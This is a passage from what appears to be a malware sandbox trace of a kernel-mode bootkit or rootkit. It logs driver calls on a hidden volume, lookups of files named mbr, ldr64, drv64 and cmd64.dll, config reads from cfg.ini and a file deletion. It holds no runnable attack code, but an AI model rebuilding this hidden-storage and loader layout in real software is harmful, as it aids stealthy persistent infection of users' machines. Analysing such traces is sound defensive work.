_Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.331] KeLeaveCriticalRegion () [0117.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.331] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.331] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.331] KeEnterCriticalRegion () [0117.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.331] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.331] IdePortDispatch () returned 0x103 [0117.331] KeWaitForMutexObject () returned 0x0 [0117.331] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.331] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.331] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.331] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.332] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.332] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.332] KeLeaveCriticalRegion () [0117.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.332] ReleaseMutex (hMutex=0x100) returned 1 [0117.332] Sleep (dwMilliseconds=0x2bf20) [0117.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69233e90, dwHighDateTime=0x1d24fa4)) [0117.344] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.344] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.344] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.344] KeEnterCriticalRegion () [0117.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.344] IdePortDispatch () returned 0x103 [0117.344] KeWaitForMutexObject () returned 0x0 [0117.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.344] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.344] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.344] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.344] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.344] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5170 [0117.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.344] KeLeaveCriticalRegion () [0117.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.344] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.344] KeEnterCriticalRegion () [0117.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.344] KeLeaveCriticalRegion () [0117.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.345] KeEnterCriticalRegion () [0117.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.345] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.345] IdePortDispatch () returned 0x103 [0117.345] KeWaitForMutexObject () returned 0x0 [0117.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.345] KeLeaveCriticalRegion () [0117.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.345] KeEnterCriticalRegion () [0117.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.345] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8d000 [0117.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.345] IdePortDispatch () returned 0x103 [0117.346] KeWaitForMutexObject () returned 0x0 [0117.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.346] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.346] IdePortDispatch () returned 0x103 [0117.346] KeWaitForMutexObject () returned 0x0 [0117.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.346] KeLeaveCriticalRegion () [0117.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.347] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.347] KeEnterCriticalRegion () [0117.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] KeLeaveCriticalRegion () [0117.347] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.347] KeEnterCriticalRegion () [0117.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.347] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800381bf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] KeLeaveCriticalRegion () [0117.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.347] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.347] KeEnterCriticalRegion () [0117.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] ExFreePoolWithTag (P=0xfffffa80039c5170, Tag=0x0) [0117.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] KeLeaveCriticalRegion () [0117.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.347] ReleaseMutex (hMutex=0xf0) returned 1 [0117.347] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.347] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.347] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.347] KeEnterCriticalRegion () [0117.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.347] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.347] IdePortDispatch () returned 0x103 [0117.348] KeWaitForMutexObject () returned 0x0 [0117.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.348] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.348] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.348] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.348] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.348] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cd860 [0117.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.348] KeLeaveCriticalRegion () [0117.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.348] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.348] KeEnterCriticalRegion () [0117.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.348] KeLeaveCriticalRegion () [0117.348] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.348] KeEnterCriticalRegion () [0117.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.348] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.348] IdePortDispatch () returned 0x103 [0117.348] KeWaitForMutexObject () returned 0x0 [0117.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.348] KeLeaveCriticalRegion () [0117.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.349] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.349] KeEnterCriticalRegion () [0117.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8e000 [0117.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.349] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.349] IdePortDispatch () returned 0x103 [0117.349] KeWaitForMutexObject () returned 0x0 [0117.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.349] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.349] IdePortDispatch () returned 0x103 [0117.349] KeWaitForMutexObject () returned 0x0 [0117.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.349] KeLeaveCriticalRegion () [0117.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.350] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.350] KeEnterCriticalRegion () [0117.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] KeLeaveCriticalRegion () [0117.350] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.350] KeEnterCriticalRegion () [0117.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.350] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c1870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] KeLeaveCriticalRegion () [0117.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.350] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.350] KeEnterCriticalRegion () [0117.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] ExFreePoolWithTag (P=0xfffffa80039cd860, Tag=0x0) [0117.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] KeLeaveCriticalRegion () [0117.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.350] ReleaseMutex (hMutex=0xf0) returned 1 [0117.350] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.350] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.350] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.350] KeEnterCriticalRegion () [0117.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.351] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.351] IdePortDispatch () returned 0x103 [0117.351] KeWaitForMutexObject () returned 0x0 [0117.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5da0 [0117.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.351] KeLeaveCriticalRegion () [0117.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.351] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.351] KeEnterCriticalRegion () [0117.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.351] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.351] KeLeaveCriticalRegion () [0117.351] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.351] KeEnterCriticalRegion () [0117.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.351] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.351] IdePortDispatch () returned 0x103 [0117.351] KeWaitForMutexObject () returned 0x0 [0117.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.352] KeLeaveCriticalRegion () [0117.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.352] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.352] KeEnterCriticalRegion () [0117.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8f000 [0117.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.352] IdePortDispatch () returned 0x103 [0117.352] KeWaitForMutexObject () returned 0x0 [0117.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.352] IdePortDispatch () returned 0x103 [0117.352] KeWaitForMutexObject () returned 0x0 [0117.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.352] KeLeaveCriticalRegion () [0117.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.353] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.353] KeEnterCriticalRegion () [0117.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] KeLeaveCriticalRegion () [0117.353] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.353] KeEnterCriticalRegion () [0117.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.353] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.353] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c1720, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.353] ExReleaseFastMutexUnsafe (in: 